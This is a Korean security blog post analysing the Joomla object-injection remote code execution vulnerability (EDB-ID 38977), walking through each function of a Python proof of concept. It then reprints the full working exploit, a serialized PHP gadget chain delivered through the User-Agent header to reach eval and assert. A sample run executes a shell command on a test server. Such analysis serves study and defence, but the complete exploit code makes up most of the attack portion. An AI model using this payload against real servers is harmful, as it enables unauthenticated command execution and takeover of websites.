바빠서 신경을 못쓰고 있다가 확인해보니 많이 사용하는 프레임워크에 영향력까지 높아보여 차근차근 코드를 볼까합니다.
Joomla 1.5 Remote Command Excution Vulnerability
국내에서도 많이 쓰이고 있는 Joomla 서비스에 대한 이 취약점은 매우 간단한 원리로 동작합니다.User-Agent 값을 코드 내에서 사용하고 사용하는 과정 중 특수문자에 대한 필터링 부족으로 내부 구문 로직을 우회한 후 공격자가 원하는 php 코드를 삽입하여 동작하게 하는 취약점이며 인증이나 별다른 제한 없이 User-Agent를 통해 서버 어디든 동작이 가능하여 파급력이 높습니다.
취약 구간: User-Agent를 통해 입력된 데이터를 사용하는 부분
EDB-ID : 38977(https://www.exploit-db.com/exploits/38977/)
Exploit Code Analysis - 주요 함수 분석(Function Analysis)
해당 Exploit 코드는 아래 3개 함수와 Main 로직 부분으로 구성되어있고, 간단한 코드를 통해 Objection Injection을 수행하고 원격지 시스템에 명령을 수행할 수 있는 취약점입니다.
get_url(url, user_agent):
+ 1번 인자값(url)에 2번 인자값(user_agent) 데이터를 User-Agent 헤더로 넣어 전송하여 Response 확인
+ 단순 get 요청을 위한 함수
php_str_noquotes(data):
+ 입력된 문자열에 대해 인코딩(데이터 포맷 변경)을 하는 함수
generate_payload(php_payload):
+ 실제 공격코드가 들어가는 함수
큰 3개의 함수 중 가장 핵심이 되는 함수는 generate_payload 함수입니다.
살펴보면 아래와 같습니다.
def generate_payload(php_payload): #php_payload 값을 인자값으로 받습니다.
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
# 인코딩 함수인 php_str_noquotes 적용 후 eval 내 0 부분에 값을 넣어 세팅합니다.
# output -> eval(php_payload)
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
# exploit code가 작성되는 부분이고, exploit_template에 기존 로직을 변경하는 구문 + Payload 로 구성이 됩니다.
# 실제 해당 부분을 읽어 처리하는 함수에서 특수문자에 대한 필터링이 없어 발생한 것으로 보이네요.
return exploit_template
코드에 주석으로 대충 설명을 쓰긴했습니다만, 다시 살펴보자면 함수 시작 부분에서 입력한 payload를 eval 함수 안으로 넣어
공격에 사용할 php 구문을 만듭니다.
eval(php_paylaod)
이렇게 되고, 여기서 payload 는 php_str_noquotes 함수를 통해 특수문자를 인코딩 시킨 데이터입니다.
이후에 exploit_template에 기존 로직 우회구문('''}__test|O:21:"JDatabaseDriverMysqli":3:{ ~~)이 들어가고
에러가 나지 않도록 함수 밖으로 나온 후 아까 만든 paylod[eval(php_payload)]를 넣어 로직은 변경시킵니다.
이 부분에서 Injection을 통해 Command를 실행하는 부분이 되겠네요.
로직 우회 구문까지 들어간 후 exploit_template 변수를 return 하여 실제 공격에 사용하게 됩니다.
Exploit Code Analysis - Main Logic
위 부분에서 이 Exploit의 대부분의 설명이 들어가 이쪽에선 별다른게 없습니다.
pl = generate_payload("system('touch /tmp/fx');")
print get_url("http://172.31.6.242/", pl)
위와 같이 pl 변수(User-Agent)에 generate_payload 함수를 통해 공격코드를 넣은 후 get_url 함수를 통해 취약 서버로 공격코드를 전송하게 됩니다.
호출순서는 main -> generate_payload -> get_url 함수 순이며 동작하면 아래와 같은 요청이 발생할 것으로 보이네요.
(실제 구동 시 요청을 잡아서 본건 아니라 정확하진 않을 수 있지만 이렇게 나갈것으로 보입니다.)
GET / HTTP/1.1
Host: [TARGET SERVER]
User-Agent: [Exploit Code] -> 아까 만든 eval() 함수를 포함한 로직 우회 구문
Exploit Code(Full)
'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
'''
import requests # easy_install requests
def get_url(url, user_agent):
headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
pl = generate_payload("system('touch /tmp/fx');")
print get_url("http://172.31.6.242/", pl)
#> python joomla_exploit.py
<Response [200]>
Reference
https://www.exploit-db.com/exploits/38977/HAHWULSecurity engineer, Gopher and H4cker! |
0 개의 댓글:
Post a Comment